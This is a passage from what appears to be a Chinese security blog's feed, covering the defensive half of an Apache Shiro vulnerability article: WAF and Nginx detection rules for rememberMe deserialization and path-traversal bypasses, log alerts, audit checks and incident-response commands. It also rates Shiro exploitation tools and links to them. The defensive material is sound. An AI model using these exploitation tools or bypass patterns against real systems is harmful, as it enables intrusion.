securityManager.setRememberMeManager(null); return securityManager; } 4.4 反序列化防护 使用白名单： // 配置反序列化过滤器 @Bean public ShiroFilterFactoryBean shiroFilterFactoryBean() { ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean(); // 配置安全过滤器 Map&lt;String, String&gt; filterMap = new HashMap&lt;&gt;(); filterMap.put("/**", "authc"); // 全部需要认证 filter.setFilterChainDefinitionMap(filterMap); return filter; } RASP 防护： // 在 JVM 层面拦截反序列化 Instrumentation instrumentation = ...; instrumentation.addTransformer(new ClassFileTransformer() { @Override public byte[] transform(...) { // 拦截 ObjectInputStream // 检查反序列化类是否在白名单 } }); 4.5 URL 规范化 统一使用 Spring 的 AntPathMatcher： @Bean public ShiroFilterFactoryBean shiroFilterFactoryBean() { ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean(); // 使用 Spring 的路径匹配器 PathMatchingFilterChainResolver resolver = new PathMatchingFilterChainResolver(); resolver.setPathMatcher(new AntPathMatcher()); return filter; } 严格 URL 配置： # 不要使用通配符配置敏感路径 /admin/** = authc, roles[admin] # 应该明确配置 /admin/user = authc, roles[admin] /admin/config = authc, roles[admin] 4.6 WAF 防护规则 ModSecurity 规则示例： # 检测 Shiro 反序列化攻击 SecRule REQUEST_HEADERS:Cookie "@contains rememberMe=" \ "id:1001,phase:1,deny,status:403,msg:'Shiro Deserialization Attack Detected'" # 检测非法 rememberMe Cookie 长度 SecRule REQUEST_HEADERS:Cookie "@rx rememberMe=[A-Za-z0-9+/]{1000,}" \ "id:1002,phase:1,deny,status:403,msg:'Suspicious Shiro Cookie Length'" # 检测路径遍历绕过 SecRule REQUEST_URI "@rx /(\\x2e|%2e|%252e)" \ "id:1003,phase:1,deny,status:403,msg:'Path Traversal Detected'" Nginx Lua 防护： -- 检测 rememberMe Cookie if ngx.var.http_cookie then local rememberMe = ngx.var.http_cookie:match("rememberMe=([^;]+)") if rememberMe and #rememberMe &gt; 500 then -- 记录日志并拦截 ngx.log(ngx.ERR, "Shiro attack detected from " .. ngx.var.remote_addr) ngx.exit(403) end end 4.7 日志监控与告警 需要监控的关键日志： // 记录所有 rememberMe 反序列化尝试 log.warn("RememberMe cookie deserialization attempted from IP: {}", request.getRemoteAddr()); // 记录失败的 URL 访问 log.warn("Unauthorized access attempt to: {} from IP: {}", request.getRequestURI(), request.getRemoteAddr()); ELK 告警规则： { "query": { "bool": { "must": [ { "match": { "message": "rememberMe" }}, { "range": { "@timestamp": { "gte": "now-5m" }}} ] } } } Splunk 搜索： # 统计 rememberMe 异常请求 index=web source=*access.log* "rememberMe" | stats count by clientip, uri | where count &gt; 10 | table clientip, uri, count 五、代码审计检查点 5.1 检查清单 □ Shiro 版本是否 &gt;= 1.7.1 □ rememberMe 是否配置了随机密钥 □ 是否存在硬编码密钥 □ URL 配置是否严格 □ 是否禁用了不必要的功能 □ 反序列化是否有白名单限制 5.2 审计工具 Maven 依赖检查： # 检查 Shiro 版本 mvn dependency:tree | grep shiro # 使用 OWASP 检查漏洞 mvn org.owasp:dependency-check-maven:check 源代码审计： # 搜索硬编码密钥 grep -r "cipherKey" --include="*.java" --include="*.ini" --include="*.xml" # 搜索 rememberMe 配置 grep -r "rememberMe" --include="*.java" --include="*.ini" # 搜索危险配置 grep -r "setRememberMeManager" --include="*.java" grep -r "CookieRememberMeManager" --include="*.java" IDEA 插件推荐： SonarLint：实时检测安全漏洞 OWASP Dependency-Check：检查依赖漏洞 SpotBugs：静态代码分析 六、应急响应 6.1 入侵检测 检查是否已被攻击： # 1. 检查日志中是否有异常的 rememberMe zgrep -i "rememberMe" /var/log/tomcat*/access_log* | tail -100 # 2. 检查是否包含可疑的 Base64 字符串（长度超过500） awk -F'rememberMe=' '/rememberMe=/{print $2}' /var/log/tomcat*/access_log* | \ awk -F';' '{print $1}' | awk 'length &gt; 500' # 3. 检查系统是否存在后门 find /tmp /var/tmp -name "*.sh" -o -name "*.jsp" -mtime -1 2&gt;/dev/null # 4. 检查网络连接 netstat -antp | grep ESTABLISHED ss -antp | grep -v "127.0.0.1" # 5. 检查定时任务 crontab -l cat /etc/cron.d/* ls -la /etc/cron.daily/ Java 进程分析： # 查找可疑的类加载 jcmd &lt;pid&gt; VM.classloader_stats # 导出堆内存分析 jmap -dump:format=b,file=/tmp/heap.hprof &lt;pid&gt; # 使用 MAT 工具分析堆内存 # 查找 org.apache.shiro.mgt.RememberMeManager 实例 6.2 应急处置 紧急止损措施： # 1. 立即下线应用（或切换到维护页面） mv webapps/ROOT webapps/ROOT.bak cp maintenance.html webapps/ROOT/ # 2. 阻断攻击者 IP iptables -A INPUT -s &lt;attacker_ip&gt; -j DROP # 3. 清理恶意文件 find / -name "*.jsp" -newer /var/www/ -exec ls -la {} \; find /tmp -name "*shell*" -exec rm -f {} \; # 4. 重启应用（清除内存马） systemctl restart tomcat 恢复步骤： 升级到最新版本 Shiro 更换 AES 密钥 清理所有恶意文件 全量代码审计 修改所有用户密码 重新上线并加强监控 6.3 常用工具对比 工具名称 功能 适用场景 推荐指数 ShiroExploit GUI 利用工具 快速检测与利用 ★★★★★ ysoserial 生成序列化 Payload 自定义利用链 ★★★★★ shiro_attack Python 利用脚本 批量扫描 ★★★★☆ marshalsec JRMP 利用 绕过某些限制 ★★★☆☆ Burp插件 集成到 Burp 渗透测试 ★★★★☆ nuclei 批量漏洞扫描 资产普查 ★★★★★ 工具下载地址： ShiroExploit: https://github.com/feihong-cs/ShiroExploit shiro_attack: https://github.com/sv3nbeast/shiro_attack ysoserial: https://github.com/frohoff/ysoserial 七、总结 Apache Shiro 作为 Java 安全框架，虽然功能强大，但历史上多次出现严重安全漏洞。防护要点： 及时升级：保持使用最新版本（&gt;= 1.12.0） 密钥管理：使用随机生成的强密钥（256位推荐） 最小权限：禁用不需要的功能（如 RememberMe） 严格配置：URL 权限配置要精确，避免绕过 多层防御：结合 RASP、WAF、日志监控 应急响应：建立完善的入侵检测和处置流程 安全是持续的过程，而非一次性的配置。 参考资源 官方文档 Apache Shiro 官方文档 Shiro Security Reports CVE 详情 CVE-2016-4437 - Shiro-550 CVE-2019-12422 - Shiro-721 CVE-2020-11989 - 权限绕过 CVE-2020-13933 - 权限绕过 CVE-2020-17510 - 权限绕过 CVE-2021-41303 - Shiro-778 CVE-2022-40664 - 认证绕过 技术文章 Padding Oracle Attack 原理 Java 反序列化漏洞基础 Shiro 漏洞原理与利用 工具下载 ShiroExploit - GUI 利用工具 shiro_attack - Python 利用脚本 ysoserial - Java 反序列化 Payload 生成 nuclei-templates - 扫描模板 Burp-Shiro - Burp 插件 免责声明：本文仅供安全研究和学习交流使用，请勿用于非法用途。使用本文内容造成的任何后果，作者不承担任何责任。]]></summary></entry><entry><title type="html">某商城代码审计</title><link href="https://djiangliu.github.io/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/2026/01/15/%E6%9F%90%E5%95%86%E5%9F%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/" rel="alternate" type="text/html" title="某商城代码审计" /><published>2026-01-15T00:00:00+00:00</published><updated>2026-01-15T00:00:00+00:00</updated><id>https://djiangliu.github.io/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/2026/01/15/%E6%9F%90%E5%95%86%E5%9F%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1</id><content type="html" xml:base="https://djiangliu.github.io/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/2026/01/15/%E6%9F%90%E5%95%86%E5%9F%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"><![CDATA[]]></content><author><name>江流</name></author><category term="代码审计" /><category term="Java" /><category term="Java代码审计" /><summary type="html"><![CDATA[]]></summary></entry></feed>